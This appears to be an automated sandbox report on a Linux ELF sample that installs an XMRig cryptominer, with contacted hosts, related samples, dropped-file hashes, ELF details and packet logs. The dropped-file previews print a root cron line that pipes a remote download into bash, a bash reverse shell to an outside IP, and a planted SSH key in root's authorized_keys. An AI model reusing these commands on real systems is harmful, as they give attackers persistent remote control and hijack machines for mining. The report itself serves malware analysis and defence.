https://xmrig.com/wizard	sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	false		high
https://gcc.gnu.org/bugsNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEEENSt7__cxx1119basic_is	sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	false		high
https://gcc.gnu.org/bugs	sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	false		high
https://xmrig.com/wizard%s	sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	false		high
https://xmrig.com/docs/algorithms	sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
107.167.34.74	w.softprojectcode.com	United States		8100	ASN-QUADRANET-GLOBALUS	false
176.32.39.18	o.softgoldinformation.com	Russian Federation		51659	ASBAXETRU	true

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
o4.softgoldinformation.com	SecuriteInfo.com.PUA.Tool.Linux.BtcMine.4274.18395.31150.elf	Get hash	malicious	Xmrig	Browse	46.17.41.146
daisy.ubuntu.com	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	a-r.m-4.s.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	Aqua.mips.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	vjwe68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	Aqua.ppc.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	efea6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	efefa7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	rrrdsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
o.softgoldinformation.com	SecuriteInfo.com.PUA.Tool.Linux.BtcMine.4274.18395.31150.elf	Get hash	malicious	Xmrig	Browse	46.17.41.146
o.softgoldinformation.com	Tk4NDwJq1L.elf	Get hash	malicious	Xmrig	Browse	91.149.239.186

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	https://www.google.com/url?q=https%3A%2F%2Fpoizonus.com%2Fsu&sa=D&sntz=1&usg=AOvVaw1vivNuhukc7YPqnTjOKT1g&af6pbi8nqbgwu55cw518lklmc8rlvoy3529npBRmIAzUEe9djvzki8kdrm19expwx==fFx66xNbaFwp2wAuYMKsTBscURqb78mwqYpIp~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~p0FmCojG8ZOE3336PK8YJ7SAxYr==X2K3pHjUpcsHSSJsm15nFJNZBrB3eBocYRd	Get hash	malicious	Unknown	Browse	104.245.240.188
	https://www.google.com/url?q=https%3A%2F%2Fpoizonus.com%2Fsu&sa=D&sntz=1&usg=AOvVaw1vivNuhukc7YPqnTjOKT1g&af6pbi8nqbgwu55cw518lklmc8rlvoy3529npBRmIAzUEe9djvzki8kdrm19expwx==fFx66xNbaFwp2wAuYMKsTBscURqb78mwqYpIp~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~p0FmCojG8ZOE3336PK8YJ7SAxYr==X2K3pHjUpcsHSSJsm15nFJNZBrB3eBocYRd	Get hash	malicious	HTMLPhisher	Browse	104.245.240.188
	XTN1VzRJZm.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	XTN1VzRJZm.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	GGP_DOCUMENTO CITACION AUDIENCIA_GGP.svg	Get hash	malicious	AsyncRAT, DcRat	Browse	104.245.240.63
	i686.elf	Get hash	malicious	Mirai	Browse	156.232.79.44
	cbr.spc.elf	Get hash	malicious	Mirai	Browse	46.30.191.209
	BBVA-P53269 .pdf.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	https://mylarbagdesigns.com/	Get hash	malicious	HTMLPhisher	Browse	66.63.187.37
	jklsh4.elf	Get hash	malicious	Unknown	Browse	154.205.102.76
ASBAXETRU	mips.elf	Get hash	malicious	Mirai	Browse	176.32.32.113
	ppc.elf	Get hash	malicious	Mirai	Browse	176.32.32.113
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	176.32.32.113
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	176.32.38.130
	quotation.exe	Get hash	malicious	FormBook	Browse	176.32.38.130
	ppc.elf	Get hash	malicious	Unknown	Browse	45.147.200.148
	hmips.elf	Get hash	malicious	Unknown	Browse	45.147.200.148
	arm4.elf	Get hash	malicious	Unknown	Browse	45.140.169.21
	mips.elf	Get hash	malicious	Unknown	Browse	176.32.39.112
	ppc.elf	Get hash	malicious	Unknown	Browse	176.32.39.112

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
/tmp/.miner	Tk4NDwJq1L.elf	Get hash	malicious	Xmrig	Browse

Created / dropped Files

/etc/cron.d/watch

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.384064175252616
Encrypted:	false
SSDEEP:	3:9991KexA/FN3HLWUPGHFppkev:6exA/33HLDGnpkev
MD5:	6A0F0DC196D42B180C24DA7A372FCF05
SHA1:	3189560C64D1CE9030647A477C2B2C8CA180B937
SHA-256:	AA6124CA198DA79C50B97D98868F6769126DBB2F0CCAD0B0F85B6E1F2E903D95
SHA-512:	AF352C95566447CD1798A1C697AAE73920AA95F1E8AC6A48D61603EA2C2588E7440B111908A6D72C89744425C45066541871483D21A0D11434500EBB6A60560B
Malicious:	true
Reputation:	low
Preview:	0 2 * * * root wget -c http://z.shavsl.com/b -qO -\|bash .

/etc/cron.hourly/prelink

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.41708580796078
Encrypted:	false
SSDEEP:	3:lyMva6VKFdLvQ20W+:lfva6VKnLvQ++
MD5:	694165434C0E0322AFD6A60092CF7589
SHA1:	591B87F54E824B7374F4C858F33727BE03F34FDB
SHA-256:	6939CDED7596C9E953C4287BD8E3E81041D802B6F7A5AF58811999DC8A0D7996
SHA-512:	6687AEB428E0B4798D2DADF80A19F063EB9FA3606727E21D92B5C297CD8C052EFD07CE3AFD7658B85CFF52758FAB52084FEA631C99588973547AA68D6F47A467
Malicious:	true
Reputation:	low
Preview:	bash -i >& /dev/tcp/198.144.156.34/8443 0>&1.

/etc/hosts

Download File

Process:	/tmp/.miner
File Type:	ASCII text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.688510687027742
Encrypted:	false
SSDEEP:	3:OS8K9ck4geFvvBEeLqU3KDMF4GE0g7a3F2k/FUEJzxyEIGEWX/7J+TVIJJaQTv:OSR54geFvbLq/DMFPgkDygzAQEW1c2bj
MD5:	E5172D7724A945AC21A186A91FCEA08B
SHA1:	B6C7D1A673D3D08B75505A281225D9EF2777EDEA
SHA-256:	334D8B69DDEC2FEC20FEF9537654F66BB02E9458AA89DF7B234F37D384FECE2A
SHA-512:	882FB0863B5AE49ED4D3A16E7966951226C4338064662E24490F0ED2C6B469378FC09F221CF3C8A15E2A9400E23CACCBE27BA8FFB48A62BC255136C967FB557D
Malicious:	false
Reputation:	low
Preview:	127.0.0.1 localhost.127.0.1.1 galassia..# The following lines are desirable for IPv6 capable hosts.::1 ip6-localhost ip6-loopback.fe00::0 ip6-localnet.ff00::0 ip6-mcastprefix.ff02::1 ip6-allnodes.ff02::2 ip6-allrouters.

/root/.ssh/authorized_keys

Download File

Process:	/tmp/gif.elf
File Type:	OpenSSH RSA public key
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.890545217406209
Encrypted:	false
SSDEEP:	6:2k0cAvgmfpQ5T26U5n4gQLgZ3AxgyxOYwFQhymEpgXkB/js0X+wJmMnYYj:4cWnpiH0VQLYAxhwY5hPQw2bsQdnYYj
MD5:	4968B16E23E6854F827539320EFDC6B3
SHA1:	BC6C9965E7D3651DD2E2E7798A74907D9CAD59FA
SHA-256:	E9E25CC3FD9285DA9E195BA601D76BA65DE6209487F0DA3B45F76FD31EFC44E1
SHA-512:	1CAF31C290C4F0EED7BCA6AD264F0C7D870104B75921410213F26348B0AFB22E9460045419FBD4613A32BBDD503E2608BB063B02F2117A454DCB3500355F09B7
Malicious:	true
Reputation:	low
Preview:	ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtNw4sDrVPO1dELkT5ag+Wa5ewywgEGC6oQJ7ugP01cUJR+6UVnx6DipvZuqWFAkA9Zm7sJUrY6K430wFv82ZNWkbJOjcf1lhl4++njRt1vxwmTheSecwlDvk5fRf6086rm2HmmdvvsUsvSaowbDD23WNXfI3rAibluVhjNmqcFfLvB5DWO8E42zkq8jk1CWdM95D/mtDzCIrxbg/azBdfsXCU1hP8JvjAgDCkelc7NIesmT6ibG4uqeNg2IWiX/M0YG8T9hWoOHJasTl+Ub+gU34Imz21l9JJ66yQtD0GtgszFJBS4AelNSrVOjHEouR9Bx6AToB515nKJ7NEvGSz root@vps1.

/root/.ssh/authorized_keys2

Download File

Process:	/tmp/gif.elf
File Type:	OpenSSH RSA public key
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.890545217406209
Encrypted:	false
SSDEEP:	12:4cWnpiH0VQLYAxhwY5hPQw2bsQdnYYAFcWnpiH0VQLYAxhwY5hPQw2bsQdnYYj:R5pb/gNdSm5pb/gNdt
MD5:	9FA4780AFF535CC3ABFC28270A3DBAF5
SHA1:	202CB6C134B01506FA8B2E590A1700A8D3400A4F
SHA-256:	F4DD2F81E119FFC0C202DECFB28810154C607B6F1FBCA2021D4A9CB399CBA4BB
SHA-512:	1C6B6931589906DABC0CBE27B790CA23BAEADCA0BAA2D22B1D4CE8B4D98F5D01806A5A9B620908012B2057199B5C5C8B96C7B95A4E2EC0F0E963E4F7A43FA23B
Malicious:	true
Reputation:	low
Preview:	ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtNw4sDrVPO1dELkT5ag+Wa5ewywgEGC6oQJ7ugP01cUJR+6UVnx6DipvZuqWFAkA9Zm7sJUrY6K430wFv82ZNWkbJOjcf1lhl4++njRt1vxwmTheSecwlDvk5fRf6086rm2HmmdvvsUsvSaowbDD23WNXfI3rAibluVhjNmqcFfLvB5DWO8E42zkq8jk1CWdM95D/mtDzCIrxbg/azBdfsXCU1hP8JvjAgDCkelc7NIesmT6ibG4uqeNg2IWiX/M0YG8T9hWoOHJasTl+Ub+gU34Imz21l9JJ66yQtD0GtgszFJBS4AelNSrVOjHEouR9Bx6AToB515nKJ7NEvGSz root@vps1.ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtNw4sDrVPO1dELkT5ag+Wa5ewywgEGC6oQJ7ugP01cUJR+6UVnx6DipvZuqWFAkA9Zm7sJUrY6K430wFv82ZNWkbJOjcf1lhl4++njRt1vxwmTheSecwlDvk5fRf6086rm2HmmdvvsUsvSaowbDD23WNXfI3rAibluVhjNmqcFfLvB5DWO8E42zkq8jk1CWdM95D/mtDzCIrxbg/azBdfsXCU1hP8JvjAgDCkelc7NIesmT6ibG4uqeNg2IWiX/M0YG8T9hWoOHJasTl+Ub+gU34Imz21l9JJ66yQtD0GtgszFJBS4AelNSrVOjHEouR9Bx6AToB515nKJ7NEvGSz root@vps1.

/run/mountinfo

Download File

Process:	/tmp/.miner
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	1.311278124459133
Encrypted:	false
SSDEEP:	3:Hd8l:98
MD5:	886C18CF654D5A18487F173369FD41E0
SHA1:	F239A6F6251D1271AB129AD509832E0ED0A2D06D
SHA-256:	042C3E830117CF34AED85470115F9B4D4260CF44C1AAEFEA8031910743ECC92E
SHA-512:	24E23E7ADA40BD37C1C1648ACED4EFFA0F37C5D9F79BA12AA39931EE3E05D81F0538B5DEFA7FF3C3D5A29FA88533EF269560963DB911C800AA3CAEA3B4B7EF5C
Malicious:	false
Reputation:	low
Preview:	5789............

/run/mountinfo.log

Download File

Process:	/tmp/.miner
File Type:	ASCII text
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	5.048776869817301
Encrypted:	false
SSDEEP:	24:20y97VHaUSfVwqUV8fmqU0kyJ9zD5zLodozXgdAzXgdnzXgdrizXgdzTzXb:hy95HaBNM8Q89BfodocdAcdncducdzTP
MD5:	DE697C16112025408D341B0495B86177
SHA1:	29A427E97E5AA8BF93CA637F17FFA357DBCFD8EF
SHA-256:	7B48A19C74E47292F2AE8EA3692FDDA5391EED32CB74845A52B6C6199938284B
SHA-512:	144F94FEA285C450E8F190A4BE6C4C1D2ACBF41C8BA5F498D8CE30B850517CF0A3F0F918B8133E98F205590FD343234F23C86945F018E261100C61DD92DCE810
Malicious:	false
Preview:	* ABOUT XMRig/6.18.0 gcc/11.2.0. * LIBS libuv/1.42.1-dev OpenSSL/1.1.1l hwloc/2.6.0a1-git. * HUGE PAGES supported. * 1GB PAGES disabled. * CPU Intel(R) Xeon(R) Silver 4210 CPU @ 2.20GHz (2) 64-bit AES VM. L2:2.0 MB L3:27.5 MB 2C/2T NUMA:1. * MEMORY 2.1/2.9 GB (71%). RAM slot #0: 2 GB DRAM @ 0 MHz RAM slot #0. RAM slot #1: 1 GB DRAM @ 0 MHz RAM slot #1. * MOTHERBOARD VMware, Inc. - VMware Virtual Platform. * DONATE 0%. * ASSEMBLY auto:intel. * POOL #1 o4.softgoldinformation.com:3334 algo cn-heavy/xhv. * COMMANDS hashrate, pause, resume, results, connection.[2025-03-08 04:41:00.144] net o4.softgoldinformation.com:3334 read error: "end of file".[2025-03-08 04:41:07.675] net o4.softgoldinformation.com:3334 read error: "end of file".[2025-03-08 04:41:14.713] net o4.softgoldinformation.com:3334 read error: "end of file".[2025-03-08 04:41:21.691] net o4.softgoldinformat

/tmp/.miner

Download File

Process:	/usr/bin/curl
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
Category:	dropped
Size (bytes):	1827416
Entropy (8bit):	7.999874924436921
Encrypted:	true
SSDEEP:	49152:njEflQ/573nydbeONLwFCRTrgcSzNpZWPU6B:jEflQRTydb/ZwGrwzNpCB
MD5:	44DE739950EB4A8A3552B4E1987E8EC2
SHA1:	0AE049AAB363FB8D2E164150DFFBAFD332725E00
SHA-256:	9B81BAD2111312E669697B69B9F121A1F9519DA61CD5D37689E38381C1FFAD28
SHA-512:	92EC17D3929B16353B40B29EEFB5AD1DE26621A20DC1C065E7CD9F294A9763844FF8673730D00F1A255AD4D42E06A1FB3171822DB59DD20C639D3FF691256A7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: Tk4NDwJq1L.elf, Detection: malicious, Browse
Preview:	.ELF..............>.......[.....@...................@.8...@.......................@.......@....................... .............`.......`.......`......................... .....)]..UPX!L.........K...K.X...k..........?.E.h=.....N.....e..U.....bo.G...y..$...pL.:rz3......{w.......`....A..h...T.NF%..FM.%j...k.>h#r.OH..R.........(:.M.1@.......7.NJ..........m..'..>.......J.T[...[.f=.....N..O(..)v...S._....#.;dq.2.7...}.p.D..o.B."...N.Z.~}l....:..O.&..HJ........5N.QQ...>...J....t^p........etq....d......}.,...7.E..T.lm.Q"2.x.}......Xv....E......R(N...t..9D.u"..T.1..3.=.7.F...W....fB..a.jF.y.'..R..X,.X.....r,...%.F.u.....:.5!.kPd.qQ&../.V......G.....k.b..>lq...4..l..~Jp[..{q;4.....0i..!$.jDb...&...<...a......K...S. .......3j6Z,..Zr^qH....i..FD./.0..Ho......L..]....:V...+K........]X.../.?...0..7...[....X1.m....<$.....I..O.Fo..I..^..se..t........l.............#cL...}v...?N.gT.I..kU..g...],..O....).?2.K^I3-)\.y...a..R.]...4.\>.w..E.xb...z[.'4..1..q.E.$...g.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.884387135461951
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	gif.elf
File size:	27'356 bytes
MD5:	df39997c92ecbb40234b4d54a9964db3
SHA1:	11a41f63791b3fede4a026fc2d813a65ad5d3240
SHA256:	cfebc5893d357c3ade6a946a3e826be23ba3c86a679df4c2a3799f5a6715bc06
SHA512:	9987f6a794b6b7060c69071af66c0731a493fec02d0075f35d75e9f0eb2596cfd85e390cbb018547f6ca442601824f48e53ac2b3c072d2d79a7198ea9b474cfb
SSDEEP:	384:yF2/GatwrPCHPnQKIfMzg8nTRgEP8aoFPaS66QKH+lp703TC3HaHPtc+fmk3ecNZ:yI/o7CfQeTRgF7FPafX0g+32MwoZ
TLSH:	2AC2E09246208F32C05FD2B75AA537E790DB3DD40F217ADE7DA1862F9BC915325C2871
File Content Preview:	.ELF..............>......a@.....@...................@.8...@.......................@.......@......i.......i........ .............@.......@.`.....@.`....................... .......m.UPX!................ ...j.........!..ELF......>....@..d......".8...k...@.+.

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x4061b0
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	2
Section Header Offset:	0
Section Header Size:	64
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x400000	0x400000	0x6984	0x6984	7.8896	0x5	R E	0x200000
LOAD	0xcc40	0x60cc40	0x60cc40	0x0	0x0	0.0000	0x6	RW	0x200000

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 8, 2025 11:40:54.244261026 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.249677896 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:54.249756098 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.249756098 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.249795914 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.254928112 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:54.254959106 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:54.746479034 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:54.746855021 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.882683039 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:54.882869959 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:54.898168087 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:54.903374910 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:54.903438091 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:54.903470039 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:54.908615112 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.487853050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.487904072 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.487940073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.487974882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488008976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488043070 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488060951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488060951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488060951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488060951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488061905 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488080025 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488104105 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488114119 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488118887 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488147974 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488152981 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488185883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.488188028 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.488230944 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.493376970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.493415117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.493422985 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.493482113 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.493488073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.493527889 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.577522039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577568054 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577605009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577641010 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577678919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577719927 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.577749968 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.577749968 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.577775955 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577836037 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577871084 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577904940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.577934027 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.577940941 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.578691959 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.578726053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.578761101 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.578794956 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.578829050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.579600096 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.579652071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.579687119 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.579720020 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.579754114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.580451965 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.580487013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.580521107 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.581351042 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.583072901 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.583108902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.583233118 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.585544109 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.667658091 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667732954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667752981 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667769909 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667803049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667838097 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667871952 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667901039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667933941 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.667969942 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668003082 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668036938 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668075085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668243885 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668297052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668360949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668392897 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668426991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668458939 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668494940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.668523073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669051886 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669106007 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669140100 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669173002 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669207096 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669239998 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669274092 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669308901 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669925928 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.669981956 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670034885 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670068026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670100927 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670134068 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670167923 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670202971 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670828104 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670880079 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670913935 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670945883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.670979977 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.671013117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.671047926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.671083927 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.671669960 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.672135115 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.672168970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.672203064 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.689198971 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.694324017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.694365025 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757416010 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757488012 CET	80	50336	107.167.34.74	192.168.2.14
